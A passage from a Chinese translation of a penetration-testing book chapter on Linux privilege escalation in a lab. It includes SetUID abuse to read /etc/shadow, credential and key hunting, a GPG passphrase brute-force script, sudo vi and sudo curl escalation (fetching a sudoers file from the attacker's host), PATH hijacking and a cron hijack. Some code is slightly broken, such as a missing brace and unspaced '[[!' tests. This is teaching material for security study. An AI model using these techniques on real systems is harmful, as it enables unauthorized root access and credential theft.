$ **find / -perm -1000 2> /dev/null**
在大多数 Linux 系统中,搜索这些特殊权限可能会得到结果,因为某些文件默认就设置了这些权限。了解这些文件非常重要,这样你就可以轻松区分默认的系统文件和被系统所有者修改过的文件。
利用 SetUID 配置错误
让我们利用一个设置了 SetUID 位的程序。在被攻破的机器上,进行系统范围的 SetUID 和 SetGID 文件搜索,然后进行互联网搜索,找出哪些文件应当设置这些标志,哪些文件配置错误。
你的搜索应该能找到ELinks,它是一个让用户直接从命令行浏览网站并以简单文本输出显示结果的网页浏览器。图 9-2 展示了使用 ELinks 浏览 Google 的样子。

图 9-2:使用 ELinks 命令行网页浏览器浏览 Google
在p-jumpbox-01(172.16.10.13)的备份用户帐户上,你应该能找到位于/usr/bin/elinks的 ELinks 二进制文件。要验证是否设置了 SetUID,可以使用 ls 或 stat 命令:
$ **stat /usr/bin/elinks**
File: /usr/bin/elinks
Size: 1759424 Blocks: 3440 IO Block: 4096 regular file
Device: 0,57 Inode: 4763007 Links: 1
Access: **(4755/-rwsr-xr-x) Uid: ( 0/ root) Gid: ( 0/ root)**
`--snip--`
当我们运行 ELinks 时,它将在root上下文中执行,因此如果我们能让它做一些有趣的事,比如读取本地文件,我们应该能够访问仅限root用户访问的敏感文件。通过传递 --help 标志来探索 ELinks 的选项:
$ **elinks --help**
Usage: elinks [OPTION]... [URL]...
Options:
-anonymous [0|1] Restrict to anonymous mode
-auto-submit [0|1] Autosubmit first form
-base-session <num> Clone internal session with given ID
`--snip--`
接下来,使用 -dump 1 标志来读取网站地址并将其打印到标准输出流:
$ **elinks https://google.com -dump 1**
ELinks 应该从网站解析数据,例如链接集合,并将其打印到终端。
我们如何利用这种行为呢?就像http://或https://协议允许我们从网站读取数据一样,file:/// 协议允许网页浏览器读取本地系统上的文件。由于我们是以 root 用户身份运行,我们可以读取敏感路径,例如/etc/shadow,该文件存储密码的哈希值:
$ **elinks file:///etc/shadow -dump 1**
root:*:19523:0:99999:7::: daemon:*:19523:0:99999:7:::
jmartinez:$y$j9T$jHIwZ8SKS4GGK9GrHOHTu.$rOJY2gSlP6ZgN2IB0qoW0oBFgs6DWiBH
acroSQw8Ir7:19536:0:99999:7:::
dbrown:$y$j9T$hDNnbY/r00FC/jeE4BfCL1$6HbLxT8T7D6sUebz1T0fp0xdTjIjVoWjTLM
DMdiHZBD:19536:0:99999:7:::
ogarcia:$y$j9T$aiqqNSE8dqtvZ62otyoOB/$2mLRlxi4iSlJxV5qTjbqdKSVyc4aGFKtpz
pn4YjZNID:19536:0:99999:7:::
arodriguez:$y$j9T$htdo8u5CtRaOiHkFxx.s7/$lzBMPHzw96si.CI3eIFjJj0FfdqwgNH
efhya0VpQso.:19536:0:99999:7:::
`--snip--`
需要注意的是,尽管我们滥用了 ELinks,但并没有利用 ELinks 本身的漏洞;相反,我们利用了一个众所周知的浏览器功能,配合 SetUID 位进行恶意操作。
寻找凭证
本节我们将讨论系统中可能包含凭证的敏感文件位置。即使是加密的凭证也可能很弱并且容易暴力破解,而且你可能会发现它们在多个服务器上使用。权限提升并不总是涉及高度复杂的漏洞利用;如果你发现凭证散落在磁盘上,你可能只需要登录到一个更强大的帐户。
密码和秘密
密码和秘密,如 API 密钥,可能会存储在系统的多个位置。管理员可能会运行包含其用户名和密码的命令,应用程序可能会将凭据记录在日志文件中,配置文件可能包含作为连接字符串一部分的凭据。搜索凭据的地方包括:
-
/etc 目录下的配置文件
-
环境变量
-
日志文件
-
用户的历史文件
-
定时任务,如 cron 作业
-
使用 bash 或 Python 等语言编写的脚本文件
-
内存
-
启动配置文件
-
密钥环
-
系统文件,如 /etc/shadow
有多种方法可以揭示这些秘密。我们可以使用 bash 递归地搜索密码模式,针对特定的文件和感兴趣的扩展名构建搜索,或手动检查敏感的文件系统区域。
让我们修改在“基于权限查找文件”一节中介绍的搜索技巧,查看感兴趣的特定文件名。例如,通过使用不区分大小写的 grep 过滤器,搜索包含 password 关键字的可读文件:
$ **find . -type f -exec grep -i password {} \;**
然后搜索包含诸如 api_key、token 和 key 之类的词汇的可读文件:
$ **find . -type f -exec grep -i "api_key\|token\|apitoken\|key" {} \;**
你也可以搜索具有特定扩展名的可读文件,如 .hashes、.env 和 .credentials:
$ **find . -type f -name "*.hashes" -o -name "*.env" -o -name "*.credentials"**
搜索硬编码的凭据而不产生误报是一门艺术,但你可以使用侦查阶段获得的数据或外部资源来构建更精细化的搜索模式。
其中一个资源是 Nuclei 提供的模板库存,用于在本地文件中查找有趣的数据(如密码、API 令牌和云账户 ID):github.com/projectdiscovery/nuclei-templates/tree/main/file/keys。例如,github-oauth-token.yaml 模板搜索用于登录 GitHub 帐户的 GitHub 开放认证 (OAuth) 令牌:
id: github-oauth-token
info:
name: Github OAuth Access Token
author: tanq16
severity: high
tags: token,file,github
file:
- extensions:
- all
extractors:
- type: regex
regex:
**- "gho_.{36}"**
此模板查找以字符序列 gho_ 开头,后跟 32 个字符的字符串。如果你不想使用 Nuclei,可以将这个正则表达式输入到 grep 搜索中:
$ **grep -E 'gho_.{36}' somefile.txt**
我们使用 grep -E 来指定基于正则表达式的过滤器。或者,你也可以使用 egrep,这是 grep 命令的包装器,底层会自动传递 -E 标志,方便使用:
$ **egrep 'gho_.{36}' somefile.txt**
你也可以传递 -R 标志来执行递归搜索:
$ **grep -R 'gho_.{36}' /some_directory**
这对于搜索具有大量文件的目录非常有用,例如 Web 应用的源代码目录。
私钥
私钥对渗透测试人员来说是一个巨大的资产。我们可以用它们连接到服务器,解密文件,执行中间人攻击等等。你可能会在受限文件夹中找到私钥,如 /root,或在某个用户的家目录中,具体取决于其类型和所有者。
SSH 密钥
除非修改过,SSH 私钥通常命名为id_rsa,以 RSA 加密系统命名,或id_dsa,以数字签名算法(DSA)加密系统命名,没有扩展名。它们对应的公钥通常为id_rsa.pub或id_dsa.pub。通常,你会在每个用户账户的隐藏目录.ssh下找到 SSH 密钥。例如,如果使用 RSA 生成,用户 Eve 的 SSH 密钥将存储在/home/eve/.ssh/id_rsa和/home/eve/.ssh/id_rsa.pub。
SSH 私钥具有明确定义的文件结构,如下所示:
-----BEGIN OPENSSH PRIVATE KEY-----
b3BlbnNzaC1rZXktdjEAAAAABG5vbmUAAAAEbm9uZQAAAAAAAAABAAABlwAAAAdzc2gtcn
NhAAAAAwEAAQAAAYEAqcqpBTfIwqwiFtOvM1DlTEplYuwYyrc4OBOBR2Wz6ItsX+cA/zV4
`--snip--`
-----END OPENSSH PRIVATE KEY-----
这些密钥使用隐私增强邮件 (PEM)格式,这是一种用于存储和传输加密密钥的常见格式。PEM 以一个头部(BEGIN)开始,接着是密钥数据,最后是尾部(END)。以下是你可能在实际应用中看到的常见头部:
-----BEGIN SSH2 PRIVATE KEY-----
-----BEGIN OPENSSH PRIVATE KEY-----
-----BEGIN PRIVATE KEY-----
-----BEGIN RSA PRIVATE KEY-----
-----BEGIN DSA PRIVATE KEY-----
-----BEGIN EC PRIVATE KEY-----
在文件中递归搜索这些字符串是相当容易的。例如,看看这个 grep 命令:
$ **grep -R -- "-----BEGIN" /some_directory**
-R 选项会递归搜索,而在搜索模式 "-----BEGIN" 前的双短横线(--)表示参数的结束。这使我们能够轻松地搜索包含短横线的字符串,例如 PEM 头部中的字符串。
你也可以尝试搜索以下类型的密钥:ecdsa、ecdsa-sk、ed25519 和 ed25519-sk。更改密钥类型会改变生成的密钥的名称。对于 rcdsa,密钥的名称是id_ecdsa和id_ecdsa.pub,而对于 ed25519,密钥的名称是id_ed25519和id_ed25519.pub。
还需要查找SSH 主机密钥,即验证服务器身份的加密密钥。当 SSH 客户端连接到 SSH 服务器时,客户端会通过使用存储在客户端known_hosts文件中的公钥来验证服务器的身份。如果该公钥发生变化,SSH 客户端会生成一个警告,表示无法验证主机。
公共和私有 SSH 主机密钥通常存储在/etc/ssh目录下,并可能具有如下名称:ssh_host_ecdsa_key、ssh_host_rsa_key、ssh_host_ed25519_key、ssh_host_ecdsa_key.pub、ssh_host_rsa_key.pub或ssh_host_ed25519_key.pub。
这些密钥通常在服务器配置时自动生成,但也可以手动生成。泄露 SSH 主机密钥可能会使你能够在网络上冒充一个服务器。
PGP 密钥
Pretty Good Privacy (PGP) 是一种用于加密文件、电子邮件等的加密方案。像 SSH 密钥一样,PGP 私钥使用 PEM 格式。它们看起来像这样:
-----BEGIN PGP PRIVATE KEY BLOCK-----
lQVYBGSeRngBDACyE/xXrs89ek7Qcrx0rpupVWkBwv5cZJX3SF64mUlmRWckEBMB
O8STBlgCVixH7pw5Ke0UPFwOInZMzqAYWuqHwr6MJOVYzhVeEJWIbnAH/7ioh0ti
`--snip--`
-----END PGP PRIVATE KEY BLOCK-----
GNU Privacy Guard (GnuPG) 是 OpenPGP(在 RFC 4880 中定义)的一个实现,它提供了用于管理 PGP 密钥的命令行工具。它可以让你生成密钥、导入和导出密钥、验证签名等。
你可以使用 gpg 工具通过运行 gpg --generate-key 命令来生成一个 GnuPG 密钥。当用户使用 GnuPG 生成密钥时,它会将密钥存储在通常位于用户主目录下的名为.gnupg的隐藏目录中的密钥环中。(用户可以通过设置环境变量 GNUPGHOME,将密钥环的位置更改为其他目录位置。)
在此目录中,/.gnupg/private-keys-v1.d/*文件夹包含私钥,*/.gnupg/trustdb.gpg文件包含 GnuPG 信任数据库,~/.gnupg/pubring.kbx文件包含元数据。因此,你首先需要访问一个账户,才能列出该账户的密钥。
让我们从实验室的一台机器上导出 PGP 密钥。在p-web-01(172.16.10.10)上,运行以下命令:
$ **gpg --list-keys**
这应该输出任何用户可访问的 PGP 密钥,包括看起来属于服务器账户的密钥,arodriguez@acme-infinity-servers.com:
`--snip--`
/root/.gnupg/pubring.kbx
------------------------
pub rsa3072
9DD565D2BB63D9241ACF9F61671507A368BFDC40
uid [ultimate] arodriguez@acme-infinity-servers.com
sub rsa3072 [E]
如果我们想窃取这个私钥,可以按照以下方式将其导出到文件:
$ **gpg --output private.pgp --armor --export-secret-key arodriguez@acme-infinity-servers.com**
--output private.pgp 参数将内容写入文件,--armor 将密钥以 ASCII 格式输出,--export-secret-key arodriguez@acme-infinity-servers.com 指定基于电子邮件地址导出的密钥。
然而,在某些情况下,这种导出可能会失败。原因是如果创建者在生成密钥时使用了密码短语,GnuPG 密钥可能会受到保护,此时你需要提供密码短语才能执行导出操作。在练习 16 中,我们将介绍通过使用 bash 绕过这种保护的方法。
证书
在渗透测试的后渗透阶段,你有时可能会遇到通过加密通道传输数据的服务器。例如,Web 服务器可能通过 SSL 将 HTTP 数据发送给客户端。
像 Apache 或 nginx 这样的流行 Web 服务器通常将证书存储在/etc/ssl/certs中,将私钥存储在/etc/ssl/private中。证书通常以.crt为扩展名,而私钥以.key或.pem为扩展名。这些 PEM 文件可能仅包含公钥,或者它们可能存储整个证书链(包括私钥、公钥和根证书)。
如果你有访问 Apache 或 nginx 配置文件的权限,配置文件中列出的配置密钥通常会指向证书及其私钥的位置。我们在以下 nginx 配置文件中将这些密钥加粗显示:
server {
listen 443 ssl;
server_name example.com;
**ssl_certificate example.com.rsa.crt;**
**ssl_certificate_key example.com.rsa.key;**
}
在启用了 HTTPS 的 Apache 网站配置中,这些密钥通常如下所示:
<VirtualHost *:443>
ServerName example.com
DocumentRoot /var/www/example.com
SSLEngine on
**SSLCertificateFile /etc/ssl/certs/apache-selfsigned.crt**
**SSLCertificateKeyFile /etc/ssl/private/apache-selfsigned.key**
</VirtualHost>
你可以进行全系统搜索,查找 nginx 或 Apache 的配置文件,然后交叉检查密钥的位置,看看它们是否对你可访问。
代理也可以配置为使用 SSL。以下是 HAProxy 的示例配置文件,其中 PEM 文件的位置以粗体显示:
frontend www.example.com
**bind *:443 ssl crt /etc/haproxy/certs/example_com.pem**
reqadd X-Forwarded-Proto:\ https
default_backend backend_http
执行负载均衡的 HAProxy 可能会定义几个后端服务器,每个服务器都有自己的证书文件:
backend web_servers
balance roundrobin
**server server1 10.0.1.3:443 check maxconn 20 ssl ca-file /etc/ssl/certs/ca.pem**
**server server2 10.0.1.4:443 check maxconn 20 ssl ca-file /etc/ssl/certs/ca.pem**
你可以根据ca-file参数识别这些文件。
练习 16:暴力破解 GnuPG 密钥密码短语
当 GnuPG 密钥启用了密码短语保护时,您无法在未提供密码短语的情况下导出密钥。不过,别担心;有一种 bash 风格的方法可以暴力破解密码短语。
列表 9-1 操作的是一个名为 passphrases.txt 的文件,该文件包含了一些可能的密码短语。它假设 GnuPG 密钥的 ID 为电子邮件 identity@blackhatbash.com。
gnupg_passphrase_bf.sh
#!/bin/bash
❶ KEY_ID="identity@blackhatbash.com"
❷ if ! gpg --list-keys | grep uid | grep -q "${KEY_ID}"; then
echo "Could not find identity/key ID ${KEY_ID}"
exit 1
fi
while read -r passphrase; do
echo "Brute forcing with ${passphrase}..."
❸ if echo "${passphrase}" | gpg --batch \
--yes \
--pinentry-mode loopback \
--passphrase-fd 0 \
--output private.pgp \
--armor \
--export-secret-key "${KEY_ID}"; then
echo "Passphrase is: ${passphrase}"
echo "Private key is located at private.pgp"
exit 0
fi
done < passphrases.txt
列表 9-1:暴力破解受保护的 GnuPG 私钥
在此脚本中,我们定义了一个名为 KEY_ID 的变量,用于指定我们要暴力破解的密钥 ID ❶。在 ❷,我们列出了所有可用的密钥,并使用 grep 查找要暴力破解的密钥 ID,以确保该密钥存在。然后,我们通过 while 循环逐行遍历 passphrase.txt 文件,回显密码短语 ❸,并将其作为输入传递给 gpg 命令。
该命令包含一系列重要参数,使我们能够以自动化的方式暴力破解密码短语。--batch --yes 标志允许 pgp 命令在无人值守的情况下执行,--pinentry-mode loopback 允许我们伪造密码输入,--passphrase-fd 0 使 pgp 从文件描述符零(标准输入流)读取密码短语,--output 将输出写入我们选择的文件,--armor 使用 ASCII 格式化导出的密钥,--export-secret-key 是用于导出密钥的标识符。
如果 pgp 命令返回的退出代码为零,表示密码短语有效,或者根本没有设置密码短语,此时我们退出。
注意
您可以在此章节的脚本位于 github.com/dolevf/Black-Hat-Bash/blob/master/ch09。
为了进一步利用这一漏洞并练习您的 bash 脚本编写,改进脚本以便它能够遍历所有可用的密钥身份,并逐一进行暴力破解。
检查 sudo 配置
sudo Linux 命令将用户权限提升为 root,而不授予该用户直接访问 root 账户的权限。假设您是服务器的管理员,并希望授予其他用户添加新防火墙规则的能力。虽然您可以直接将 root 账户密码交给他们,但这样做可能会导致安全问题。使用 sudo,您可以授予该用户运行某些命令的权限,比如 iptables 命令或类似 tcpdump 的工具,而不暴露 root 账户的密码。
从攻击者的角度来看,sudo 配置值得探索,因为配置错误可能会让您访问敏感资源。在 Kali 机器上,内置的 kali 用户默认具有 sudo 权限。您可以通过运行以下命令来测试:
$ **sudo -l**
然后,命令会提示您输入登录密码:
[sudo] password for kali:
Matching Defaults entries for kali on kali:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin,
use_pty
User kali may run the following commands on kali:
**(ALL : ALL) ALL**
-l 标志列出当前用户的 sudo 权限。如您所见,用户具有 (ALL : ALL) ALL,这基本上意味着无限制的特权访问。
sudo 命令通过其配置文件/etc/sudoers可以授予精细化权限。以下是一些通过高级 sudo 配置可以实现的权限授予:
-
为特定用户或组授予 sudo 权限
-
仅为特定用户或组授予特定系统命令的 sudo 权限
-
仅为特定用户或组授予特定脚本的 sudo 权限
-
授予 sudo 权限,以便运行命令时无需用户输入密码
为了补充/etc/sudoers,/etc/sudoers.d目录可以存储独立的 sudo 配置文件。主/etc/sudoers文件可以通过使用@includedir 指令从此目录导入文件:
$ **sudo cat /etc/sudoers**
`--snip--`
@includedir /etc/sudoers.d
请记住,/etc/sudoers只能由特权用户修改,并且只有root用户和 root 组可以读取:
$ **ls -ld /etc/sudoers**
-r--r----- 1 root root 1714 Feb 18 07:03 /etc/sudoers
如果你能够写入此文件或目录/etc/sudoers.d,你应该能够为自己授予 root 权限;然而,默认情况下,你无法执行此操作。
在 Kali 中,kali-trusted组的任何成员都可以在不需要密码的情况下获得 sudo 访问权限,这在/etc/sudoers.d/kali-grant-root文件中定义:
$ **sudo cat /etc/sudoers.d/kali-grant-root**
# Allow members of group kali-trusted to execute any command without a
# password prompt.
**%kali-trusted ALL=(ALL:ALL) NOPASSWD: ALL**
由于kali用户不属于kali-trusted组,因此该用户具有 sudo 权限,但每次使用时都需要提供密码。
然而,kali用户属于/etc/sudoers中提到的sudo组。此组的成员将自动获得无限制的 sudo 访问权限,如下配置行所定义:
$ **sudo cat /etc/sudoers**
# Allow members of group sudo to execute any command.
%sudo ALL=(ALL:ALL) ALL
要查看kali用户所属的组列表,可以运行 groups 命令:
$ **groups**
kali adm dialout cdrom floppy **sudo** audio dip video plugdev users
netdev bluetooth scanner wireshark kaboxer vboxsf docker
下面是一些可能导致权限提升场景的 sudo 配置示例:
-
系统可能会授予你在危险命令上的 sudo 权限,包括可能将你带入 root shell 的 shell 命令。
-
系统可能会在一个所有用户都可写的脚本上配置 sudo,允许未经授权的用户添加恶意命令,这些命令将以 root 权限执行。
-
含有大量用户的组可能被授予 sudo 权限,这会扩大攻击面并增加获得 sudo 访问权限的途径(因为你可以尝试利用每个 sudo 组成员)。
下一节将帮助你理解授予 sudo 访问权限的危险。
滥用文本编辑器技巧
让我们演示一个依赖于 sudo 访问权限的攻击。作为p-jumpbox-01(176.16.10.13)上的备份用户,运行 sudo -l 命令,并在提示时输入密码(backup)。然后查看该用户的 sudo 配置:
$ **sudo -l**
User backup may run the following commands on p-jumpbox-01:
(ALL : ALL) /usr/bin/vi
(ALL : ALL) /usr/bin/curl
看起来我们已获得了 vi(一个文本编辑器)的 sudo 访问权限。为文本编辑器授予 sudo 权限看似无害,但实际上并非如此。
例如,我们可以将一个文件传递给 vi 命令,指示它写入该文件。当获得 sudo 访问权限时,我们可以写入任何文件,或者在系统仅对root用户可访问或可写的系统位置创建新文件。
让我们将一个文件写入一个普通用户通常无法访问的系统位置。请输入以下内容:
$ **sudo vi /etc/demo.txt**
应该会出现一个文本编辑器提示。按键盘上的 I 键,然后输入你喜欢的内容。完成后,按 ESC,再按 SHIFT-:。输入 wq! 并按 ENTER 保存文件并退出。你会注意到我们能够将文件写入 /etc 目录,而该目录只有特权用户才能写入。同样地,我们可以编辑系统上的任何文件,例如 /etc/passwd 和 /etc/shadow,甚至直接插入应用程序后门。
为了利用这种访问权限,尝试将自己切换到 root shell。vi 允许在文本编辑器窗口内执行 bash 命令。当你在编程时需要执行 shell 命令以查看输出或查看脚本外的文件时,这个功能非常方便。
在终端中输入 sudo vi,然后按 SHIFT-: 并输入 !bash。你现在应该已经进入 root shell!输入 whoami 命令确认你是 root 用户。此时,你应该使用 passwd 命令(不带任何额外参数)设置 root 账户的密码,以便随时能够轻松登录。
下载恶意的 sudoers 文件。
在前一部分中,你可能已经注意到我们还拥有对 curl 的 sudo 访问权限,用于从 Web 服务器读取资源。你可能会问,拥有对基于命令行的 HTTP 客户端的 sudo 访问权限,我们能做什么呢?嗯,很多事情!
如果你查看 curl 手册页面,你会看到它提供了 -o(输出)标志,用于将内容写入文件或目录。这意味着你可以通过向网站发出 GET 请求并使用 -o 标志将输出重定向到文件来下载文件。
为了利用这种行为,我们可以设置一个远程 Web 服务器,提供一个配置文件;如果我们能以某种方式下载这个文件并覆盖现有文件,就可以提升我们的权限或获得新的访问权限。让我们再次利用 p-jumpbox-01(176.16.10.13)从备份用户提升到 root 用户。以下是我们可以采取的几个方向:
-
提供修改过的 /etc/passwd 和 /etc/shadow 文件,这些文件会改变 root 用户的密码。
-
提供修改过的 /etc/sudoers 文件,使其授予备份用户 sudo 权限。
-
在 /etc/sudoers.d 目录中插入新的 sudo 配置。
-
提供一个 cron-job shell 脚本,它以系统(root)身份运行,并负责代表我们执行特权操作。
我们将选择第三个选项:从 Kali 机器提供一个自定义的 sudoers 文件,并将其插入到目标的 /etc/sudoers.d 目录。
首先,从本书的 GitHub 仓库获取新的 sudo 配置文件add-sudo-to-user,并将其放置在文件系统中的某个位置,例如 Kali 的主目录。接下来,打开终端并导航到下载文件所在的目录。然后运行以下命令,在 8080 端口启动一个 Web 服务器:
$ **python3 -m http.server 8080**
接下来,作为p-jumpbox-01备份用户,运行以下命令从 Kali 下载文件。Kali 的实验室 IP 地址应该是 172.16.10.1:
$ **sudo curl -s http://172.16.10.1:8080/add-sudo-to-user -o /etc/sudoers.d/add-sudo-to-user**
这个 curl 命令使用-s 标志(静默模式)来抑制输出,比如下载进度条。然后我们向 Kali 机器发起 GET 请求来获取add-sudo-to-user。-o(输出)标志指向一个文件系统目标位置,GET 请求的输出将被保存到该位置。在这种情况下,我们使用/etc/sudoers.d目录。使用 ls 命令列出/etc/sudoers.d中的文件来确认文件是否已成功下载。然后运行 sudo -l 命令,查看你现在是否拥有完整的 sudo 权限。
请记住,手动修改sudoers文件是非常危险的。任何错误可能会影响你将来重新获得 sudo 访问权限的能力,因此我们强烈建议使用像 visudo 这样的专用 sudo 修改工具来修改 sudo 配置。该工具可以及早捕捉语法错误,避免你被锁定。
在成功攻陷 root 账户后,我们建议将账户密码设置为passwd,以便稍后能够轻松切换到该账户。
通过 PATH 配置错误劫持可执行文件
PATH 环境变量是一个以冒号分隔的目录列表,shell 默认在这些目录中搜索可执行文件。例如,当你输入 touch 命令创建一个文件时,shell 会在 PATH 中搜索以定位二进制文件。
在任何被攻陷的机器上运行以下命令查看其当前 PATH 值:
$ **echo $PATH**
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
为了尝试提升权限,我们可以修改 PATH 变量以包含额外的路径。例如,假设系统有一个专门的自定义脚本目录/data/scripts。修改 PATH 目录以包含这个脚本目录非常简单:
$ **PATH=$PATH:/data/scripts**
$ **echo $PATH**
/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin:/data/scripts
我们可以像之前的示例一样将路径追加到 PATH 中,也可以将它们提前。以下示例中,我们将当前工作目录(.)添加到路径前面:
$ **PATH=.:$PATH**
现在,如果一个可执行文件以 root 身份运行并调用外部命令作为其逻辑的一部分,它可能会执行攻击者控制的文件,而不是预期的可执行文件。
作为一个示例,让我们使用 PATH 劫持来运行一个自定义可执行文件。我们将以以下用 C 语言编写的程序为目标,该程序调用了 whoami 命令。让我们看看是否能够让它运行我们选择的不同二进制文件:
#include <stdio.h>
#include <stdlib.h>
int main(void)
// This has the potential to get hijacked.
❶ system("whoami");
// This should not be possible to hijack.
❷ system("/usr/bin/whoami");
return 0;
}
在❶处,代码使用命令 system("whoami")调用 whoami 命令,在❷处,它通过使用其绝对路径/usr/bin/whoami直接调用whoami二进制文件。
将此代码复制到任何被攻陷的机器上,保存为名为getuser.c的新文件。你也可以直接从书籍的 GitHub 仓库下载此文件。接下来,使用 GNU 编译器集合(GCC)编译该程序并使其可执行:
$ **gcc getuser.c -o getuser**
这应该会创建一个名为getuser的新二进制文件。让我们设置其可执行权限:
$ **chmod u+x getuser**
现在,设置 PATH,使当前目录被添加到它的前面:
$ **PATH="$(pwd):$PATH"**
$ **echo $PATH**
**/tmp**:/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin
在这个输出中,你可以看到/tmp目录被添加到 PATH 前面。这是因为我们在执行此命令时位于/tmp目录;如果你导航到其他目录,你的值可能会有所不同。确保getuser二进制文件位于你添加到 PATH 前面的目录中。
由于我们控制了 PATH 中的一个目录,我们可以在该路径中创建一个伪造的whoami脚本(清单 9-2)。
$ **echo "#!/bin/bash" >> whoami**
$ **echo "I am not the whoami you were looking for!" >> whoami**
$ **chmod u+x whoami**
清单 9-2:伪造 whoami 可执行文件
getuser程序将在 PATH 中查找 whoami 命令,既然/tmp会最先被读取,它应该会选择伪造的程序。运行getuser查看结果:
$ **./getuser**
I am not the whoami you were looking for!
root
正如你所看到的,程序执行了伪造的whoami脚本。然而需要注意的是,程序第二次调用 whoami 时执行了正确的命令,因为它指定了文件的完整路径。
练习 17:恶意修改 Cron 任务
第八章介绍了计划任务,包括它们通常在文件系统中的位置以及如何执行它们。计划任务通常运行一个自定义脚本,旨在执行特定操作,该脚本可能会引用其他本地文件来获取信息。此外,脚本可能会以提升的权限运行。因此,在寻找权限提升漏洞时,它们是一个有趣的探索方向。
在p-jumpbox-01(172.16.10.13)上,查看/etc/crontab文件的内容:
$ **cat /etc/crontab**
`--snip--`
*/5 * * * * root bash /scripts/backup_data.sh
如你所见,命令 bash /scripts/backup_data.sh 每五分钟运行一次,并使用root用户。让我们检查一下这个脚本是否对我们可访问:
$ **ls -l /scripts/backup_data.sh**
-rw-r--r-- 1 root root 508 Jul 4 02:50 /scripts/backup_data.sh
的确如此,让我们来看看脚本的内容,如清单 9-3 所示。你有什么发现吗?
#!/bin/bash
❶ CURRENT_DATE=$(date +%y-%m-%d)
if [[! -d "/data/backup"]]; then
mkdir -p /data/backup
fi
# Look for external instructions if they exist.
❷ for directory in "/tmp" "/data"; do
❸ if [[-f "${directory}/extra_cmds.sh"]]; then
❹ source "${directory}/extra_cmds.sh"
fi
done
# Back up the data directory.
echo "Backing up /data/backup - ${CURRENT_DATE}"
❺ tar czvf "/data/backup-${CURRENT_DATE}.tar.gz" /data/backup
rm -rf /data/backup/*
echo "Done."
清单 9-3:数据备份脚本
脚本首先通过当前日期设置CURRENT_DATE变量 ❶。然后,for 循环遍历/tmp和/data目录 ❷,并测试每个目录中是否存在文件extra_cmds.sh ❸。如果脚本找到了该文件,source 命令将extra_cmds.sh脚本 ❹ 复制到当前执行的脚本中,这样它会在同一 shell 中运行所有指令。接下来,tar 命令将/data/backup目录中的内容压缩成一个单独的tar.gz文件,并存放在/data目录下 ❺。脚本随后删除/data/backup中剩余的任何内容。
这个脚本包含一个漏洞;它没有考虑到 /tmp 是一个全世界可访问的目录。如果 extra_cmds.sh 文件不存在,某人可能会创建一个,然后为 cron 作业引入额外的指令。此外,/data 目录也是可写的,这似乎是一个配置错误。运行 stat(或 ls)命令查看 /data 上设置的权限。
要测试此漏洞,可以将内容写入 extra_cmd.sh 文件。列表 9-4 提供了一个简单的概念验证示例。
#!/bin/bash
echo "The running user is: $(whoami)" >> /tmp/proof-of-concept
列表 9-4:利用易受攻击的 cron 作业的概念验证脚本
通过 Cron 执行这个脚本会导致在 /tmp 下生成一个名为 proof-of-concept 的新文件,文件内容为:The running user is: 后跟 whoami 命令的输出,在这个案例中应该是 root。
保存此文件并使用 chmod 设置可执行权限,然后等待五分钟查看结果:
$ **ls -l**
-rwxr--r-- 1 root root 104 Jul 4 03:24 extra_cmds.sh
-rw-r--r-- 1 root root 26 Jul 4 03:25 proof-of-concept
$ **cat proof-of-concept**
The running user is: root
shell 脚本中的漏洞并不罕见,因为它们通常在假设操作环境没有恶意用户可能寻找利用漏洞的情况下编写。名为 linters 的工具,如 ShellCheck (www.shellcheck.net),帮助在编写 shell 脚本时执行最佳实践。ShellCheck 还会突出显示可能由于代码错误导致安全风险的潜在代码区域。
为了进一步利用这个漏洞,考虑编写一个新的 extra_cmd.sh,执行以下任一操作:
-
修改 sudo 配置,以授予你选择的用户权限。
-
更改感兴趣目录的权限,例如日志目录,以便你的低权限用户可以访问它。
-
从其他用户的主目录复制文件到你的用户可以读取的目录。
查找内核漏洞
当高危内核级漏洞被发现时,通常会让安全行业既兴奋又恐慌。虽然它们通常通过安全披露渠道负责任地公开,但我们有时只能在威胁行为者试图通过使用零日漏洞获得特权访问时才得知这些漏洞。
警告
这些漏洞可能会使内核崩溃,因此除非你获得了客户的明确许可,否则你应该避免在渗透测试中使用它们。
内核漏洞通常针对特定的内核版本、CPU 架构(如 x86_64 或 ARM)或操作系统,因此在使用其中之一之前,你需要先分析系统,以确定正在运行的内核版本。在你的 Kali 机器上运行以下命令:
$ **uname -r -v**
6.x.x-kali5-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.x.xx-1kali2
你可以通过搜索感兴趣的特定内核版本,在像 exploit-db.com 这样的数据库中找到内核漏洞。虽然这可能是一个手动过程,但自动化工具旨在通过将内核版本与 CVE 列表匹配,使搜索过程更快、更准确。
SearchSploit
SearchsSploit 是 Kali 中内置的一个命令行工具,它与 Exploit-DB 接口连接,允许你从终端执行搜索。
以下命令会搜索针对 Dirty COW 漏洞(CVE-2016-5195)的 Linux 内核漏洞,这是一个竞态条件漏洞,影响了 4.8.3 之前的内核版本:
$ **searchsploit linux kernel | grep -i "dirty cow"**
Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (1)
Linux Kernel - 'The Huge Dirty Cow' Overwriting The Huge Zero Page (2)
Linux Kernel 2.6.22 < 3.9 (x86/x64) - 'Dirty COW /proc/self/mem' Race Condition Privilege Es...
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW /proc/self/mem' Race Condition Privilege Escalation
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW PTRACE_POKEDATA' Race Condition (Write Access Method)
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' 'PTRACE_POKEDATA' Race Condition Privilege Escalation
Linux Kernel 2.6.22 < 3.9 - 'Dirty COW' /proc/self/mem Race Condition (Write Access Method)
其他工具旨在通过本地分析系统并将内核版本与易受攻击的内核和漏洞数据库进行匹配,来自动化内核漏洞搜索。其中一个工具是 Linux Exploit Suggester 2。
Linux Exploit Suggester 2
Linux Exploit Suggester 2 是一个在系统上本地运行的 Perl 脚本。它尝试查找与当前运行的内核版本匹配的漏洞。为了尝试它,可以在你的 Kali 机器上运行以下命令:
$ **perl /home/kali/tools/linux-exploit-suggester-2/linux-exploit-suggester-2.pl**
#############################
Linux Exploit Suggester 2
#############################
Local Kernel: 6.x.x
Searching 72 exploits...
Possible Exploits
No exploits are available for this kernel version
